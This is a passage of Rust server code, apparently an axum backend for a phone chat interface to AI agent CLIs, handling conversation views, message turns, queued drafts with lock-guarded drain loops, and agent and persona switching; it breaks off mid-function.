fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
    let mut res = (
        [
            (header::CONTENT_TYPE, content_type),
            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
            (header::REFERRER_POLICY, "no-referrer"),
        ],
        body,
    )
        .into_response();
    if download {
        res.headers_mut().insert(
            header::CONTENT_DISPOSITION,
            HeaderValue::from_static("attachment"),
        );
    }
    res
}

/// A talk as the phone reads it.
///
/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
/// parses markdown itself - and the process-local `thinking` hint.
#[derive(Debug, Serialize)]
struct TalkView {
    #[serde(flatten)]
    talk: Talk,
    turn_bodies_md: Vec<Vec<md::Node>>,
    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
    /// this server process.
    ///
    /// This is deliberately not durable: another server process cannot see
    /// it, and a restarted server must not claim an old turn is live. It is a
    /// progress hint rather than proof a reply landed; the transcript remains
    /// the source of truth for that.
    thinking: bool,
    /// Context-window usage, derived per request - see
    /// [`talk::context_usage`]. Carried on every talk response (list, detail
    /// and each mutation) so the phone needs no extra call or polling.
    context: talk::ContextUsage,
    /// `[talk] operator_name`, when configured; the Chat labels the
    /// operator's turns with it.
    operator_name: Option<String>,
    /// The active persona's display name; `None` for the default voice.
    persona_name: Option<String>,
    /// URL of the avatar for the conversation's persona (the default voice
    /// included). Server-built; a configured `icon` never reaches the client.
    persona_avatar: String,
    /// Fixed operator avatar; display only and independent of repository config.
    operator_avatar: String,
}

impl TalkView {
    /// Reads the talk's repository config itself; a config that cannot be
    /// read leaves the window unknown but never fails the conversation.
    fn new(talk: Talk, thinking: bool) -> Self {
        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
        Self::with_config(talk, thinking, cfg.as_ref())
    }

    /// As [`Self::new`], with the config already in hand (the list reads one
    /// per repository, not one per conversation).
    fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
        let context = talk::context_usage(&talk, cfg);
        let turn_bodies_md = talk
            .turns
            .iter()
            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
            .collect();
        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
        let persona_name = persona::find(specs, &talk.persona)
            .filter(|p| !p.is_default())
            .map(|p| p.name);
        let persona_avatar = avatar_url(
            &talk.id,
            &persona::find(specs, &talk.persona)
                .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default")),
        );
        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
        Self {
            turn_bodies_md,
            thinking,
            context,
            operator_name,
            persona_name,
            persona_avatar,
            operator_avatar: format!(
                "/avatars/operator.svg?v={}",
                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
            ),
            talk,
        }
    }
}

/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
/// conversation has filed, so the phone can follow one from inside the
/// conversation that asked for it rather than hunting the Queue for a task id
/// it may not remember.
#[derive(Debug, Serialize)]
struct TalkDetailView {
    #[serde(flatten)]
    view: TalkView,
    tasks: Vec<TaskView>,
    /// The agents this talk's repository can switch to; empty when its
    /// configuration cannot be read, which must not fail the whole detail.
    roster: Vec<RosterEntry>,
    /// The personas the conversation can pick from. The built-ins are always
    /// listed, even when the repository's configuration cannot be read.
    personas: Vec<PersonaEntry>,
}

/// One persona as the talk's persona selector shows it.
#[derive(Debug, Serialize)]
struct PersonaEntry {
    id: String,
    name: String,
    /// Avatar URL, see [`TalkView::persona_avatar`].
    avatar: String,
}

/// One roster agent as the talk's agent selector shows it.
#[derive(Debug, Serialize)]
struct RosterEntry {
    id: String,
    kind: AgentKind,
    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
    runnable: bool,
}

/// `GET /api/talks`.
///
/// Every conversation, open ones first and newest first - [`Talks::list`]'s
/// own order.
async fn talks_list(
    State(ui): State<Arc<Ui>>,
    Query(q): Query<ListQuery>,
) -> ApiResult<Json<Vec<TalkView>>> {
    blocking(move || {
        let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
        Ok(Json(
            ui.talks
                .list()
                .into_iter()
                .filter(|talk| q.contains(&talk.id))
                .map(|talk| {
                    let thinking = ui.is_thinking(&talk.id);
                    let cfg = configs
                        .entry(talk.repo.clone())
                        .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
                    TalkView::with_config(talk, thinking, cfg.as_ref())
                })
                .collect(),
        ))
    })
    .await
}

/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
/// end still opens a talk against an older binary.
#[derive(Debug, Default, Deserialize)]
#[serde(default)]
struct NewTalk {
    agent: Option<String>,
    repo: Option<PathBuf>,
    /// Remembered choices from the browser. Soft: kept as raw JSON so a
    /// wrong type is dropped like a stale value instead of failing the request;
    /// each falls back to its default on its own (see [`talk::begin_with`]).
    preferred_agent: Option<serde_json::Value>,
    persona: Option<serde_json::Value>,
    implementers: Option<serde_json::Value>,
}

/// `POST /api/talks` - open a conversation. Takes no agent turn: see
/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
async fn talk_post(
    State(ui): State<Arc<Ui>>,
    body: std::result::Result<Json<NewTalk>, JsonRejection>,
) -> ApiResult<impl IntoResponse> {
    // An absent body, or an empty one, is the normal way to open a talk - see
    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
    // rather than refused.
    let body = match body {
        Ok(Json(body)) => body,
        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
        Err(e) => return Err(ApiError::bad_request(e.body_text())),
    };
    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
    let cfg = config_for(&repo).await?;
    let view = blocking(move || {
        let preferred = talk::Preferred {
            agent: body
                .preferred_agent
                .as_ref()
                .and_then(|v| v.as_str())
                .map(str::to_owned),
            persona: body
                .persona
                .as_ref()
                .and_then(|v| v.as_str())
                .map(str::to_owned),
            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
        };
        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
        let thinking = ui.is_thinking(&talk.id);
        Ok(TalkView::new(talk, thinking))
    })
    .await?;
    Ok((StatusCode::CREATED, Json(view)))
}

/// `GET /api/talks/{id}`.
async fn talk_detail(
    State(ui): State<Arc<Ui>>,
    Path(id): Path<String>,
) -> ApiResult<Json<TalkDetailView>> {
    blocking(move || {
        let id = resolve_talk(&ui.talks, &id)?;
        let talk = ui.talks.get(&id)?;
        let thinking = ui.is_thinking(&talk.id);
        let tasks = talk::tasks_of(&ui.queue, &talk.id)
            .into_iter()
            .map(TaskView::from)
            .collect();
        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
        let roster = cfg
            .as_ref()
            .map(|cfg| {
                cfg.agents
                    .iter()
                    .map(|a| RosterEntry {
                        id: a.id.clone(),
                        kind: a.kind,
                        runnable: agent::installed(a),
                    })
                    .collect()
            })
            .unwrap_or_default();
        let specs = cfg
            .as_ref()
            .map(|cfg| cfg.talk.personas.clone())
            .unwrap_or_default();
        let personas = persona::catalog(&specs)
            .into_iter()
            .map(|p| PersonaEntry {
                avatar: avatar_url(&talk.id, &p),
                id: p.id,
                name: p.name,
            })
            .collect();
        Ok(Json(TalkDetailView {
            view: TalkView::with_config(talk, thinking, cfg.as_ref()),
            tasks,
            roster,
            personas,
        }))
    })
    .await
}

/// The body of `POST /api/talks/{id}/say`.
///
/// `attachments` names ids `POST /api/talks/{id}/attachments` already
/// returned - never bytes of its own - so a turn with no images just omits
/// the field, which is what an older front end still does.
#[derive(Debug, Default, Deserialize)]
#[serde(default, deny_unknown_fields)]
struct NewTalkTurn {
    reply_to: Option<talk::ReplyTarget>,
    text: String,
    attachments: Vec<String>,
}

#[derive(Debug, Deserialize)]
#[serde(deny_unknown_fields)]
struct EditTalkPending {
    #[serde(default)]
    message: Option<usize>,
    text: String,
    expected_text: String,
    expected_attachments: Vec<String>,
}

#[derive(Debug, Deserialize)]
#[serde(deny_unknown_fields)]
struct ClearTalkPending {
    expected_text: String,
    expected_attachments: Vec<String>,
}

/// `POST /api/talks/{id}/say` - one turn of the conversation.
///
/// Not filesystem work, and therefore not routed through [`blocking`]: this
/// route spawns an agent CLI and a turn here can run for the whole of
/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
/// research turn is expected to run commands rather than answer from what it
/// already knows. Holding an HTTP connection open that long is not a thing
/// to ask a phone to do; the operator's message is recorded and answered for
/// immediately, and the reply lands in the background, discovered through
/// the change stream's `talks_rev` the same way every other update on this
/// surface is.
async fn talk_say(
    State(ui): State<Arc<Ui>>,
    Path(id): Path<String>,
    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
) -> ApiResult<(StatusCode, Json<TalkView>)> {
    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
    if body.text.trim().is_empty() && body.attachments.is_empty() {
        return Err(ApiError::bad_request("say something"));
    }

    let id = {
        let ui = Arc::clone(&ui);
        let asked = id.clone();
        blocking(move || resolve_talk(&ui.talks, &asked)).await?
    };
    // A closed Talk never accepts a new immediate or queued turn. Check this
    // before claiming a slot so its ordinary domain refusal is a 409, not an
    // incidental failure from the later record/queue write.
    {
        let ui = Arc::clone(&ui);
        let id = id.clone();
        blocking(move || {
            let talk = ui.talks.get(&id)?;
            if !talk.status.open() {
                return Err(ApiError::conflict(format!(
                    "talk {} is {} and takes no more turns",
                    talk.short(),
                    talk.status.as_str()
                )));
            }
            Ok(())
        })
        .await?;
    }

    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
    // actually stores, before anything is written - an unknown id is a 4xx
    // that names it rather than a turn (or a queued draft) silently missing
    // an image.
    let attachments = {
        let ui = Arc::clone(&ui);
        let id = id.clone();
        let ids = body.attachments.clone();
        blocking(move || {
            ids.into_iter()
                .map(|att_id| {
                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
                    })
                })
                .collect::<ApiResult<Vec<talk::Attachment>>>()
        })
        .await?
    };

    // Pending recovery and a new immediate turn are decided under the same
    // claim lock. Without that one critical section, a second `/say` can see
    // the first request's claim as "busy" and append itself to the recovered
    // draft before the first request rejects it.
    let start = {
        let ui = Arc::clone(&ui);
        let id = id.clone();
        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
    };
    let turn_guard = match start {
        TalkTurnStart::Claimed(turn_guard) => turn_guard,
        TalkTurnStart::Pending => {
            return Err(ApiError::conflict(
                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
            ));
        }
        TalkTurnStart::Foreign => {
            return Err(ApiError::conflict(
                "a turn is already running in another process; try again when it has finished",
            ));
        }
        TalkTurnStart::Busy => {
            // A turn is already running: queue rather than refuse. See
            // `Ui::begin_talk_turn` and `talk::queue`.
            //
            // The queue write and the drain it may owe live inside the task
            // `tokio::spawn` hands to the runtime, for the same reason the
            // immediate path below puts `record` there: a dropped handler
            // future must not be able to land between a durable write and
            // the task that answers it. `blocking` runs its closure on
            // `spawn_blocking`, which finishes whether or not anyone is left
            // to receive its result - so a disconnect at the `.await` below
            // would otherwise leave the draft persisted and the reclaimed
            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
            // ever started and the queued text stranded until some later
            // `say` happened to pick it up. The caller's 202 travels back
            // over a `oneshot`, sent the moment the write lands.
            let (tx, rx) = tokio::sync::oneshot::channel();
            tokio::spawn({
                let ui = Arc::clone(&ui);
                let id = id.clone();
                let said = body.text.clone();
                let reply_to = body.reply_to.clone();
                async move {
                    let written = blocking({
                        let ui = Arc::clone(&ui);
                        let id = id.clone();
                        move || {
                            let mut talk = ui.talks.get(&id)?;
                            // A test-only stop point, right before the write
                            // an interleaving test needs to pin - see
                            // `BusyQueueGate`. `None` in every real server:
                            // the field only exists under `#[cfg(test)]`.
                            #[cfg(test)]
                            if let Some(gate) = ui
                                .busy_queue_gate
                                .lock()
                                .unwrap_or_else(PoisonError::into_inner)
                                .take()
                            {
                                let _ = gate.reached.send(());
                                let _ = gate.release.recv();
                            }
                            if let Err(error) = talk::queue_reply(
                                &mut talk,
                                &ui.talks,
                                &said,
                                attachments,
                                reply_to,
                            ) {
                                if let Ok(fresh) = ui.talks.get(&id) {
                                    if !fresh.status.open() {
                                        return Err(ApiError::conflict(format!(
                                            "talk {} is {} and takes no more turns",
                                            fresh.short(),
                                            fresh.status.as_str()
                                        )));
                                    }
                                }
                                return Err(
                                    if error.to_string().contains("invalid reply target") {
                                        ApiError::bad_request("invalid reply target")
                                    } else {
                                        ApiError::from(error)
                                    },
                                );
                            }
                            // The turn that looked busy a moment ago can have
                            // finished, found nothing to drain and given up the
                            // slot in the gap between that check and this write
                            // landing - see `drain_loop`'s own doc for the other
                            // half of why that gap would otherwise be able to
                            // open at all. Reclaiming the slot here, rather than
                            // trusting that whoever held it is still watching, is
                            // what stops the text just queued from being stranded
                            // until an unrelated future `say` happens to drain
                            // it.
                            let claim = match ui.begin_queued_talk_turn(&id)? {
                                Some(turn_guard) => {
                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
                                    Some((talk.clone(), cfg, turn_guard))
                                }
                                None => None,
                            };
                            let thinking = ui.is_thinking(&id);
                            Ok((TalkView::new(talk, thinking), claim))
                        }
                    })
                    .await;
                    let (view, reclaimed) = match written {
                        Ok(pair) => pair,
                        Err(e) => {
                            // Nobody is listening if the handler's own future
                            // was already dropped - that is fine, nothing was
                            // persisted and there is no response left to carry
                            // this error to.
                            let _ = tx.send(Err(e));
                            return;
                        }
                    };
                    // If this fails, the caller is gone; the drain below still
                    // runs exactly as it would have for a caller that stayed.
                    let _ = tx.send(Ok(view));
                    if let Some((talk, cfg, turn_guard)) = reclaimed {
                        let talks = ui.talks.clone();
                        drain_loop(talk, talks, cfg, id, turn_guard).await;
                    }
                }
            });
            let view = rx
                .await
                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
            return Ok((StatusCode::ACCEPTED, Json(view)));
        }
    };

    let (talk, cfg) = {
        let ui = Arc::clone(&ui);
        let id = id.clone();
        blocking(move || {
            let talk = ui.talks.get(&id)?;
            let (cfg, _) = Config::discover(&talk.repo, None)?;
            Ok((talk, cfg))
        })
        .await?
    };

    let talks = ui.talks.clone();
    // `record` runs *inside* the spawned task, rather than in this handler
    // followed by a separate `tokio::spawn` for `respond` - axum drops this
    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
    // doc), and that drop can land at any `.await` this function makes,
    // including one that has already produced its result but not yet
    // resumed. A message could end up recorded on disk with the handler
    // future gone before it ever reached the `tokio::spawn` that would have
    // started the reply. `tokio::spawn` itself is a plain, synchronous call
    // that hands the whole future to the runtime as one unit - once made, no
    // later drop of *this* handler's own future (that call's return value is
    // never held onto here) can reach back in and stop it, so record and the
    // hand-off to `respond` are unconditionally atomic from the client's
    // point of view. The immediate response this handler owes the caller
    // travels back over a `oneshot`, sent the moment `record` succeeds.
    let (tx, rx) = tokio::sync::oneshot::channel();
    tokio::spawn({
        let ui = Arc::clone(&ui);
        let talks = talks.clone();
        let id = id.clone();
        let said = body.text.clone();
        let reply_to = body.reply_to.clone();
        let mut talk = talk.clone();
        async move {
            let recorded = blocking({
                let talks = talks.clone();
                move || {
                    if let Err(error) =
                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
                    {
                        if let Ok(fresh) = talks.get(&talk.id) {
                            if !fresh.status.open() {
                                return Err(ApiError::conflict(format!(
                                    "talk {} is {} and takes no more turns",
                                    fresh.short(),
                                    fresh.status.as_str()
                                )));
                            }
                        }
                        return Err(if error.to_string().contains("invalid reply target") {
                            ApiError::bad_request("invalid reply target")
                        } else {
                            ApiError::from(error)
                        });
                    }
                    // `record` mutates `talk` in place to the freshly persisted
                    // state (status, pending, and the just-appended operator
                    // turn), so returning it here is equivalent to re-reading it
                    // from disk - without the extra round trip a re-read would
                    // need.
                    Ok((said.trim().to_owned(), talk))
                }
            })
            .await;
            let (text, mut talk) = match recorded {
                Ok(pair) => pair,
                Err(e) => {
                    // Nobody is listening if the handler's own future was
                    // already dropped - that is fine, there is no response
                    // left to carry this error to and nothing was persisted.
                    let _ = tx.send(Err(e));
                    return;
                }
            };
            let queued = talk.clone();
            let thinking = ui.is_thinking(&id);
            // If this fails, the caller is gone; the turn still runs below
            // exactly as it would have for a caller that stayed connected.
            let _ = tx.send(Ok((queued, thinking)));

            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
                // `respond` records the failure in the transcript itself,
                // which is what the phone reads; this line is for the
                // operator's terminal.
                tracing::warn!("talk {id} turn failed: {e:#}");
            }
            // Anything `talk::queue` added while the turn above was running
            // is still owed an answer - see `drain_loop`.
            drain_loop(talk, talks, cfg, id, turn_guard).await;
        }
    });

    let (queued, thinking) = rx
        .await
        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;

    // 202: the operator's message is recorded and a turn is running.
    Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
}

/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
/// changing it. The turn guard is the same per-talk ownership `talk_say`
/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
async fn talk_pending_resume(
    State(ui): State<Arc<Ui>>,
    Path(id): Path<String>,
) -> ApiResult<(StatusCode, Json<TalkView>)> {
    let id = {
        let ui = Arc::clone(&ui);
        let asked = id.clone();
        blocking(move || resolve_talk(&ui.talks, &asked)).await?
    };
    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
        return Err(ApiError::conflict(
            "a talk turn is already running; the queued draft will be handled by it",
        ));
    };
    let (talk, cfg) = {
        let ui = Arc::clone(&ui);
        let id = id.clone();
        blocking(move || {
            let talk = ui.talks.get(&id)?;
            if !talk.status.open() {
                return Err(ApiError::conflict(format!(
                    "talk {} is {} and takes no more turns",
                    talk.short(),
                    talk.status.as_str()
                )));
            }
            if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
                return Err(ApiError::conflict("there is no queued draft to resume"));
            }
            let (cfg, _) = Config::discover(&talk.repo, None)?;
            Ok((talk, cfg))
        })
        .await?
    };
    let view = TalkView::new(talk.clone(), true);
    let talks = ui.talks.clone();
    tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
    Ok((StatusCode::ACCEPTED, Json(view)))
}

/// Drain [`talk::Talk::pending`] one turn at a time until nothing is left,
/// releasing `turn` only once a check finds it truly empty. Shared by both
/// callers that can end up owning a talk's turn slot with something already
/// queued for it: `talk_say`'s normal path, after its own `talk::respond`
/// call, and `talk_say`'s busy path, when it reclaims a slot the previous
/// holder just gave up - see the comment at that call site.
///
/// The release is folded into the final generation check under `turn`'s own
/// lock - the same lock [`Ui::begin_talk_turn`] takes to decide "busy or
/// free". Before its blocking `talk::drain`, this loop observes the queued
/// generation. A `say` that sees the turn busy writes its draft, then advances
/// that generation. Thus, if it lands while the drain is in flight, the final
/// check observes the advance and drains again; otherwise it releases the
/// claim while holding the same lock. This keeps the release/arrival handoff
/// atomic without holding the global claim mutex across filesystem I/O.
async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
    drain_loop_started(talk, talks, cfg, id, turn, None).await;
}

/// A settings response must not report idle while its claim is still held.
/// Wait until the first drain either releases the claim or promotes a draft.
/// The task owns the guard even if the HTTP handler is cancelled while waiting.
async fn settle_settings_turn(
    talk: Talk,
    talks: Talks,
    cfg: Config,
    id: String,
    turn: TalkTurnGuard,
    observed: u64,
) -> bool {
    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
        let turns = Arc::clone(&turn.turns);
        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
        if live.queued.get(&id).copied().unwrap_or(0) == observed {
            // Release under the arrival lock; a later `/say` takes its own claim.
            turn.release(&mut live);
            return false;
        }
    }
    let (started, settled) = tokio::sync::oneshot::channel();
    tokio::spawn(drain_loop_started(
        talk,
        talks,
        cfg,
        id,
        turn,
        Some(started),
    ));
    settled.await.unwrap_or(false)
}

async fn drain_loop_started(
    mut talk: Talk,
    talks: Talks,
    cfg: Config,
    id: String,
    turn: TalkTurnGuard,
    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
) {
    let live_set = Arc::clone(&turn.turns);
    // `Option` rather than binding `turn` directly to a `_turn` that lives
    // for the whole function: releasing it has to happen by calling
    // `TalkTurnGuard::release` from inside the locked branch below, which
    // takes `self` by value. Left as a plain drop instead, `Drop` would still
    // remove the id - correctly, if this loop is ever left some other way -
    // but doing it there misses the lock this loop is already holding, which
    // is the exact gap `release` exists to close.
    let mut turn = Some(turn);
    loop {
        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
            // The lease was taken over while a turn ran. Whatever is queued
            // stays a draft; running it here would race the new owner.
            tracing::warn!("talk {id} lost its turn lease; not draining further");
            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
            if let Some(turn) = turn.take() {
                turn.release(&mut live);
            }
            break;
        }
        {
            // A parking upgrade starts no further turn: whatever is queued
            // stays a durable draft for the successor.
            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
            if live.parking {
                if let Some(turn) = turn.take() {
                    turn.release(&mut live);
                }
                break;
            }
        }
        // `talk::drain` takes the store lock and can write/rename the talk
        // file. Keep the turn mutex out of that synchronous work: it protects
        // every talk's in-memory claim, not this talk's disk operation.
        let observed = live_set
            .lock()
            .unwrap_or_else(PoisonError::into_inner)
            .queued
            .get(&id)
            .copied()
            .unwrap_or(0);
        let drained = blocking({
            let talks = talks.clone();
            let live_set = Arc::clone(&live_set);
            move || {
                // Promoting a draft is what starts a turn, so it is decided
                // under the same lock a parking upgrade takes: either the
                // promotion lands first (and its turn is waited for) or the
                // draft stays queued.
                let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
                let result = if live.parking {
                    Ok(None)
                } else {
                    talk::drain(&mut talk, &talks)
                };
                drop(live);
                Ok((talk, result))
            }
        })
        .await;
        let (next_talk, result) = match drained {
            Ok(drained) => drained,
            Err(e) => {
                tracing::warn!(
                    status = %e.status,
                    message = %e.message,
                    "talk {id} could not start queued-text drain"
                );
                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
                turn.take()
                    .expect("held for the whole loop until released here")
                    .release(&mut live);
                break;
            }
        };
        talk = next_talk;
        let drained = match result {
            Ok(Some(drained)) => drained,
            Ok(None) => {
                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
                if live.queued.get(&id).copied().unwrap_or(0) != observed {
                    continue;
                }
                turn.take()
                    .expect("held for the whole loop until released here")
                    .release(&mut live);
                break;
            }
            Err(e) => {
                tracing::warn!("talk {id} could not drain queued text: {e:#}");
                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
                turn.take()
                    .expect("held for the whole loop until released here")
                    .release(&mut live);
                break;
            }
        };
        if let Some(started) = started.take() {
            let _ = started.send(true);
        }
        let responded = match turn.as_ref() {
            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
            None => Err(anyhow::anyhow!("the turn guard was released")),
        };
        if let Err(e) = responded {
            tracing::warn!("talk {id} turn failed: {e:#}");
        }
    }
    drop(turn);
    if let Some(started) = started {
        let _ = started.send(false);
    }
}

/// Clear a queued draft only if it remains exactly the one the caller saw.
async fn talk_pending_clear(
    State(ui): State<Arc<Ui>>,
    Path(id): Path<String>,
    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
) -> ApiResult<Json<TalkView>> {
    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
    blocking(move || {
        let id = resolve_talk(&ui.talks, &id)?;
        let mut talk = ui.talks.get(&id)?;
        if !talk.status.open() {
            return Err(ApiError::conflict(format!(
                "talk {} is {} and takes no more turns",
                talk.short(),
                talk.status.as_str()
            )));
        }
        if !talk::clear_pending_if_matches(
            &mut talk,
            &ui.talks,
            &body.expected_text,
            &body.expected_attachments,
        )? {
            return Err(ApiError::conflict(
                "queued message changed; reload it before clearing",
            ));
        }
        let thinking = ui.is_thinking(&talk.id);
        Ok(Json(TalkView::new(talk, thinking)))
    })
    .await
}

/// Atomically edit a queued draft's text while preserving its attachments.
/// The snapshot fields make a concurrent queue or drain a conflict rather
/// than silently discarding either message.
async fn talk_pending_edit(
    State(ui): State<Arc<Ui>>,
    Path(id): Path<String>,
    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
) -> ApiResult<Json<TalkView>> {
    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
    let (view, reclaimed) = blocking({
        let ui = Arc::clone(&ui);
        move || {
            let id = resolve_talk(&ui.talks, &id)?;
            let mut talk = ui.talks.get(&id)?;
            if !talk.status.open() {
                return Err(ApiError::conflict(format!(
                    "talk {} is {} and takes no more turns",
                    talk.short(),
                    talk.status.as_str()
                )));
            }
            if !talk::edit_pending_message(
                &mut talk,
                &ui.talks,
                &body.text,
                &body.expected_text,
                &body.expected_attachments,
                body.message,
            )? {
                return Err(ApiError::conflict(
                    "queued message changed; reload it before editing",
                ));
            }
            let claim = match ui.begin_queued_talk_turn(&id)? {
                Some(turn_guard) => {
                    let (cfg, _) = Config::discover(&talk.repo, None)?;
                    Some((talk.clone(), cfg, id.clone(), turn_guard))
                }
                None => None,
            };
            let thinking = ui.is_thinking(&id);
            Ok((TalkView::new(talk, thinking), claim))
        }
    })
    .await?;
    if let Some((talk, cfg, id, turn_guard)) = reclaimed {
        let talks = ui.talks.clone();
        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
    }
    Ok(Json(view))
}

/// The 409 for a talk that takes no more turns.
fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
    if talk.status.open() {
        return Ok(());
    }
    Err(ApiError::conflict(format!(
        "talk {} is {} and takes no more turns",
        talk.short(),
        talk.status.as_str()
    )))
}

/// The body of `POST /api/talks/{id}/agent`.
#[derive(Debug, Deserialize)]
struct TalkAgent {
    agent: String,
}

/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
/// start a turn on the old session between the check and the write; one that
/// arrives in that window finds the talk busy and becomes a draft.
async fn talk_agent(
    State(ui): State<Arc<Ui>>,
    Path(id): Path<String>,
    Json(body): Json<TalkAgent>,
) -> ApiResult<Json<TalkView>> {
    let id = {
        let ui = Arc::clone(&ui);
        blocking(move || resolve_talk(&ui.talks, &id)).await?
    };
    let repo = {
        let ui = Arc::clone(&ui);
        let id = id.clone();
        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
    };
    let cfg = config_for(&repo).await?;
    // Refuse before taking the claim; see `talk_implementers`.
    {
        let ui = Arc::clone(&ui);
        let id = id.clone();
        let cfg = cfg.clone();
        let wanted = body.agent.clone();
        blocking(move || {
            agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
                .map_err(ApiError::bad_request_from)?;
            refuse_if_closed(&ui.talks.get(&id)?)
        })
        .await?;
    }
    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
        return Err(ApiError::conflict(
            "a talk turn is running; change the agent once it has answered",
        ));
    };
    let switched = {
        let ui = Arc::clone(&ui);
        let id = id.clone();
        let cfg = cfg.clone();
        blocking(move || {
            let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
                .map_err(ApiError::bad_request_from)?;
            let mut talk = ui.talks.get(&id)?;
            if !talk.status.open() {
                return Err(ApiError::conflict(format!(
                    "talk {} is {} and takes no more turns",
                    talk.short(),
                    talk.status.as_str()
                )));
            }
            talk::switch_agent(&mut talk, &ui.talks, &spec)?;
            Ok(talk)
        })
        .await
    };
    // A `/say` that landed while this held the claim saw the talk busy and
    // left a durable draft, trusting the claim's owner to drain it. So the
    // claim is settled whatever the outcome. Release an empty draft's claim
    // before replying; queued drafts continue independently of the handler.
    let observed = ui.queued_generation(&id);
    let fresh = {
        let ui = Arc::clone(&ui);
        let id = id.clone();
        blocking(move || Ok(ui.talks.get(&id)?)).await
    };
    let draining = match fresh {
        Ok(talk) => {
            settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
        }
        Err(_) => false,
    };
    let talk = switched?;
    Ok(Json(TalkView::new(talk, draining)))
}

/// The body of `POST /api/talks/{id}/persona`.
#[derive(Debug, Deserialize)]
struct TalkPersona {
    persona: String,
}

/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
/// like [`talk_agent`]: the turn guard is held for the change and always handed
/// to `drain_loop`, so a draft left meanwhile is not stranded.
async fn talk_persona(
    State(ui): State<Arc<Ui>>,
    Path(id): Path<String>,
    Json(body): Json<TalkPersona>,
) -> ApiResult<Json<TalkView>> {
    let id = {
        let ui = Arc::clone(&ui);
        blocking(move || resolve_talk(&ui.talks, &id)).await?
    };
    let repo = {
        let ui = Arc::clone(&ui);
        let id = id.clone();
        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
    };
    let cfg = config_for(&repo).await?;
    // Refuse before taking the claim; see `talk_implementers`.
    {
        let ui = Arc::clone(&ui);
        let id = id.clone();
        let cfg = cfg.clone();
        let wanted = body.persona.clone();
        blocking(move || {
            if persona::find(&cfg.talk.personas, &wanted).is_none() {
                return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
            }
            refuse_if_closed(&ui.talks.get(&id)?)
        })
        .await?;
    }
    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
        return Err(ApiError::conflict(
            "a talk turn is running; change the persona once it has answered",
        ));
    };
    let switched = {
